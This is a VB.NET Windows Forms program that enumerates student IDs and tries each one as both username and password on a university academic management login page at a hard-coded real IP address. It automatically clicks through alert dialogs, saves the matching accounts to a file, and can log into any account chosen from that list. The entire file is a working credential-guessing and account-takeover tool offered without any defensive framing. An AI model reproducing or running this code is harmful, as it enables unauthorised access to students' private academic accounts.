﻿Public Class Form1
    Dim checknow, mlostfocus As Boolean
    Dim state As String = "wait"
    Dim keepalive As Boolean = False
    Private Declare Auto Function FindWindow Lib "user32" ( _
     ByVal lpClassName As String, _
     ByVal lpWindowName As String) As Integer
    Private Declare Auto Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
    Private Declare Auto Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        '检查各个待填空的状态
        '检查学号预填写内容
        If SerialNum.TextLength <> 9 Or IsNumeric(SerialNum.Text) = False Then
            MsgBox("请输入9位正确的数字", , "注意学号开头填写")
            Exit Sub
        End If
        '检查班级序号范围
        If classBegin.Text = "" Or IsNumeric(classBegin.Text) = False Or CInt(classBegin.Text) <= 0 Then
            MsgBox("请输入正确的数字，不可以为空、为0", , "注意班级序号起始")
            Exit Sub
        End If

        If classEnd.Text = "" Or IsNumeric(classEnd.Text) = False Or CInt(classEnd.Text) = 0 Then
            MsgBox("请输入正确的数字，不可以为空、为0", , "注意班级序号终止")
            Exit Sub
        End If

        If Val(classBegin.Text) > Val(classEnd.Text) Then
            MsgBox("起始序号不可以小于终止序号", , "注意班级序号大小")
            Exit Sub
        End If
        ListBox1.Items.Clear()
        '完成检查
        state = "running"
        Dim user, pass As String
        Dim thr1 As Threading.Thread
        thr1 = New Threading.Thread(AddressOf FindThread)

        keepalive = True
        thr1.Start()
        For theclass = CInt(classBegin.Text) To CInt(classEnd.Text)
            For thenum = 1 To Val(totalNum.Text)
                WebBrowser1.Navigate("http://202.114.90.117/(ockyau5544dcyd55cxpkzv45)/Default2.aspx")
                Do While WebBrowser1.ReadyState <> WebBrowserReadyState.Complete
                    Application.DoEvents()
                Loop
                user = SerialNum.Text & Format(theclass, "00") & Format(thenum, "00")
                pass = user
                Call FillCode(user, pass)
                'Threading.Thread.SpinWait(500)
                Do While WebBrowser1.ReadyState <> WebBrowserReadyState.Complete
                    Application.DoEvents()
                Loop

                Do While checknow = False
                    Application.DoEvents()
                Loop
                Application.DoEvents()
                If WebBrowser1.DocumentTitle.Contains("欢迎使用") Then
                Else
                    ListBox1.Items.Add(user)
                End If
            Next thenum
        Next theclass
        state = "over"
        keepalive = False
    End Sub
    '0121009310504
    Sub FillCode(ByVal uname As String, ByVal upass As String)
        On Error Resume Next
        Dim yhm, mm As HtmlElementCollection
        Dim ident As HtmlElement
        yhm = WebBrowser1.Document.GetElementsByTagName("input")
        mm = WebBrowser1.Document.GetElementsByTagName("input")
        For Each obj As HtmlElement In yhm
            If obj.GetAttribute("name").ToString = "TextBox1" Then
                obj.SetAttribute("value", uname)
                Exit For
            End If
        Next

        For Each obj As HtmlElement In mm
            If obj.GetAttribute("name").ToString = "TextBox2" Then
                obj.SetAttribute("value", upass)
                Exit For
            End If
        Next

        ident = WebBrowser1.Document.GetElementById("RadioButtonList1_2")
        ident.SetAttribute("value", 1)

        ident = WebBrowser1.Document.GetElementById("Button1")
        ident.InvokeMember("click")
        checknow = False
    End Sub

    Private Sub WebBrowser1_DocumentCompleted(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
        ' If WebBrowser1.DocumentTitle.ToString = "正方教务管理系统" And checknow = False Then
        checknow = True
        'End If
    End Sub
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        If ListBox1.Items.Count = 0 Then Exit Sub
        Dim ot As IO.StreamWriter
        ot = New IO.StreamWriter(CurDir() & "\reg.txt", False)
        For i As Integer = 0 To ListBox1.Items.Count - 1
            ot.WriteLine(ListBox1.Items(i).ToString)
        Next
        ot.Close()
        End
    End Sub

    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
        WebBrowser1.ScriptErrorsSuppressed = True
        'WebBrowser1
        'read from data
        If IO.File.Exists(CurDir() & "\reg.txt") = True Then
            Dim tmp As String
            Dim i As IO.StreamReader
            i = New IO.StreamReader(CurDir() & "\reg.txt")
            Do While i.EndOfStream = False
                tmp = i.ReadLine
                ListBox1.Items.Add(tmp)
            Loop
            i.Close()
        End If
    End Sub

    Private Sub Button1_LostFocus(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.LostFocus
        mlostfocus = True
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

    End Sub


    Private Sub WebBrowser1_GotFocus(ByVal sender As Object, ByVal e As System.EventArgs) Handles WebBrowser1.GotFocus
        Debug.Print("got focus")
        Button1.Focus()
    End Sub
    Private Delegate Sub vk(ByVal s As Integer)
    Sub say(ByVal s As Integer)
        'SendMessage(s, &H100, Keys.Enter, 0)
        'SendMessage(s, &H101, Keys.Enter, 0)
        'SendMessage(s, &H101, Keys.Enter, 0)
    End Sub

    Sub FindThread()
        Dim th As Integer
        Do While keepalive = True

            th = FindWindow(vbNullString, "来自网页的消息")
            If th > 0 Then
                'Stop
                Debug.Print("Find Window")
                'Call Invoke(New vk(AddressOf say), th)
                'PostMessage(th, &H100, Keys.Enter, 0)
                'PostMessage(th, &H101, Keys.Enter, 0)
                PostMessage(th, &H100, Keys.Enter, 0)  '这个语句至关重要，可以注意
                'PostMessage(th, &H101, Keys.Enter, 0)
            End If
            Threading.Thread.Sleep(20)
        Loop

    End Sub

    Private Sub ListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged
        If keepalive = True Then Exit Sub
        Call EnterInto(ListBox1.Text)
    End Sub
    Sub EnterInto(ByVal s As String)
        state = "running"
        Dim user, pass As String
        Dim thr1 As Threading.Thread
        thr1 = New Threading.Thread(AddressOf FindThread)
        keepalive = True
        thr1.Start()
        WebBrowser1.Navigate("http://202.114.90.117/(ockyau5544dcyd55cxpkzv45)/Default2.aspx")
        Do While WebBrowser1.ReadyState <> WebBrowserReadyState.Complete
            Application.DoEvents()
        Loop
        user = s
        pass = user
        Call FillCode(user, pass)
        'Threading.Thread.SpinWait(500)
        Do While WebBrowser1.ReadyState <> WebBrowserReadyState.Complete
            Application.DoEvents()
        Loop

        Do While checknow = False
            Application.DoEvents()
        Loop
        Application.DoEvents()
        state = "over"
        keepalive = False
    End Sub
End Class
